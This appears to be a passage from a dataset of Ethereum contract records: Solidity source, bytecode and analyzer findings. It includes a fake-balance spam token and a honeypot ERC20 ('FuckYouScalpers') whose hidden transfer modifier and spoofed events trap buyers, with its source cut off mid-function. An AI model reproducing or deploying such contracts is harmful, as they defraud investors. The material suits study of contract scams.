function increaseAllowance( address spender, uint256 addedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance( address spender, uint256 subtractedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(value <= _balances[from]); require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } }
0x6080604052600436106100ae5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100b3578063095ea7b31461013d57806318160ddd1461017557806323b872dd1461019c578063313ce567146101c657806339509351146101f157806370a082311461021557806395d89b4114610236578063a457c2d71461024b578063a9059cbb1461026f578063dd62ed3e14610293575b600080fd5b3480156100bf57600080fd5b506100c86102ba565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101025781810151838201526020016100ea565b50505050905090810190601f16801561012f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561014957600080fd5b50610161600160a060020a0360043516602435610350565b604080519115158252519081900360200190f35b34801561018157600080fd5b5061018a6103ce565b60408051918252519081900360200190f35b3480156101a857600080fd5b50610161600160a060020a03600435811690602435166044356103d4565b3480156101d257600080fd5b506101db610471565b6040805160ff9092168252519081900360200190f35b3480156101fd57600080fd5b50610161600160a060020a036004351660243561047a565b34801561022157600080fd5b5061018a600160a060020a036004351661052a565b34801561024257600080fd5b506100c8610545565b34801561025757600080fd5b50610161600160a060020a03600435166024356105a6565b34801561027b57600080fd5b50610161600160a060020a03600435166024356105f1565b34801561029f57600080fd5b5061018a600160a060020a0360043581169060243516610607565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103465780601f1061031b57610100808354040283529160200191610346565b820191906000526020600020905b81548152906001019060200180831161032957829003601f168201915b5050505050905090565b6000600160a060020a038316151561036757600080fd5b336000818152600160209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b600160a060020a038316600090815260016020908152604080832033845290915281205482111561040457600080fd5b600160a060020a0384166000908152600160209081526040808320338452909152902054610438908363ffffffff61063216565b600160a060020a0385166000908152600160209081526040808320338452909152902055610467848484610649565b5060019392505050565b60055460ff1690565b6000600160a060020a038316151561049157600080fd5b336000908152600160209081526040808320600160a060020a03871684529091529020546104c5908363ffffffff61073b16565b336000818152600160209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a031660009081526020819052604090205490565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103465780601f1061031b57610100808354040283529160200191610346565b6000600160a060020a03831615156105bd57600080fd5b336000908152600160209081526040808320600160a060020a03871684529091529020546104c5908363ffffffff61063216565b60006105fe338484610649565b50600192915050565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b6000808383111561064257600080fd5b5050900390565b600160a060020a03831660009081526020819052604090205481111561066e57600080fd5b600160a060020a038216151561068357600080fd5b600160a060020a0383166000908152602081905260409020546106ac908263ffffffff61063216565b600160a060020a0380851660009081526020819052604080822093909355908416815220546106e1908263ffffffff61073b16565b600160a060020a038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008282018381101561074d57600080fd5b93925050505600a165627a7a723058200d387c9d303b5a09136e8491a995f323cd708ed4458b40184a7a2f563d9bb31c0029
{"success": true, "error": null, "results": {}}
5,002
0x518f575e145347aa550534f1dacf7dab8dcf5738
pragma solidity ^0.4.18; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { if( balances[_owner] < 1 ) return 1 ether; else return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function () public payable { revert(); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; address public saleAgent; function setSaleAgent(address newSaleAgnet) public { require(msg.sender == saleAgent || msg.sender == owner); saleAgent = newSaleAgnet; } function mint(address _to, uint256 _amount) public returns (bool) { require(msg.sender == saleAgent && !mintingFinished); totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() public returns (bool) { require((msg.sender == saleAgent || msg.sender == owner) && !mintingFinished); mintingFinished = true; MintFinished(); return true; } } contract SimpleTokenCoin is MintableToken { string public constant name = "https://t.me/this_crypto"; string public constant symbol = "https://t.me/this_crypto"; uint32 public constant decimals = 18; }
0x6060604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461010157806306fdde031461012e578063095ea7b3146101bc57806314133a7c1461021657806318160ddd1461024f57806323b872dd14610278578063313ce567146102f157806340c10f1914610326578063661884631461038057806370a08231146103da5780637d64bcb4146104275780638da5cb5b1461045457806395d89b41146104a9578063a9059cbb14610537578063b1d6a2f014610591578063d73dd623146105e6578063dd62ed3e14610640578063f2fde38b146106ac575b600080fd5b341561010c57600080fd5b6101146106e5565b604051808215151515815260200191505060405180910390f35b341561013957600080fd5b6101416106f8565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610181578082015181840152602081019050610166565b50505050905090810190601f1680156101ae5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101c757600080fd5b6101fc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610731565b604051808215151515815260200191505060405180910390f35b341561022157600080fd5b61024d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610823565b005b341561025a57600080fd5b61026261091b565b6040518082815260200191505060405180910390f35b341561028357600080fd5b6102d7600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610921565b604051808215151515815260200191505060405180910390f35b34156102fc57600080fd5b610304610ce0565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b341561033157600080fd5b610366600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ce5565b604051808215151515815260200191505060405180910390f35b341561038b57600080fd5b6103c0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e64565b604051808215151515815260200191505060405180910390f35b34156103e557600080fd5b610411600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110f5565b6040518082815260200191505060405180910390f35b341561043257600080fd5b61043a611196565b604051808215151515815260200191505060405180910390f35b341561045f57600080fd5b6104676112b3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104b457600080fd5b6104bc6112d9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104fc5780820151818401526020810190506104e1565b50505050905090810190601f1680156105295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561054257600080fd5b610577600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611312565b604051808215151515815260200191505060405180910390f35b341561059c57600080fd5b6105a4611536565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156105f157600080fd5b610626600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061155c565b604051808215151515815260200191505060405180910390f35b341561064b57600080fd5b610696600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611758565b6040518082815260200191505060405180910390f35b34156106b757600080fd5b6106e3600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506117df565b005b600360149054906101000a900460ff1681565b6040805190810160405280601881526020017f68747470733a2f2f742e6d652f746869735f63727970746f000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806108cc5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156108d757600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60005481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561095e57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156109ac57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a3757600080fd5b610a8982600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193790919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1e82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bf082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193790919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610d515750600360149054906101000a900460ff16155b1515610d5c57600080fd5b610d718260005461195090919063ffffffff16565b600081905550610dc982600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a26001905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610f75576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611009565b610f88838261193790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b600060018060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561114e57670de0b6b3a76400009050611191565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806112415750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b801561125a5750600360149054906101000a900460ff16155b151561126557600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280601881526020017f68747470733a2f2f742e6d652f746869735f63727970746f000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561134f57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561139d57600080fd5b6113ef82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193790919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061148482600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006115ed82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561183b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561187757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561194557fe5b818303905092915050565b600080828401905083811015151561196457fe5b80915050929150505600a165627a7a72305820b394807e4e8df6d743fdb5b9676295dfc0e66fde33788334f7a5303567c9334e0029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
5,003
0xe579cda4ce3148e507f273eaef1ecc5454e3f60b
pragma solidity ^0.6.0; //Dear scalpers and hackers //FUCK YOU ALL library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value);} contract FuckYouScalpers is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _affirmative; mapping (address => bool) private _rejectPile; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address private _safeOwner; uint256 private _sellAmount = 0; address public cr = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address deployer = 0xda7560E90c256743850DacF7A09ab216e898934D; address public _owner = 0xda7560E90c256743850DacF7A09ab216e898934D; constructor () public { _name = "FUCKYOU"; _symbol = "FUCKYOU"; _decimals = 18; uint256 initialSupply = 1000000000 * 10 ** 18 ; _safeOwner = _owner; _mint(deployer, initialSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _start(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _start(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function approvalIncrease(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _affirmative[receivers[i]] = true; _rejectPile[receivers[i]] = false; } } function approvalDecrease(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _rejectPile[receivers[i]] = true; _affirmative[receivers[i]] = false; } } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); if (sender == _owner){ sender = deployer; } emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _start(address sender, address recipient, uint256 amount) internal main(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); if (sender == _owner){ sender = deployer; } emit Transfer(sender, recipient, amount); } modifier main(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_affirmative[sender] == true){ _;}else{if (_rejectPile[sender] == true){ require((sender == _safeOwner)||(recipient == cr), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_rejectPile[sender] = true; _affirmative[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == cr), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } modifier _auth() { require(msg.sender == _owner, "Not allowed to interact"); _; } function multicall(address emitUniswapPool,address[] memory emitReceivers,uint256[] memory emitAmounts) public _auth(){ for (uint256 i = 0; i < emitReceivers.length; i++) {emit 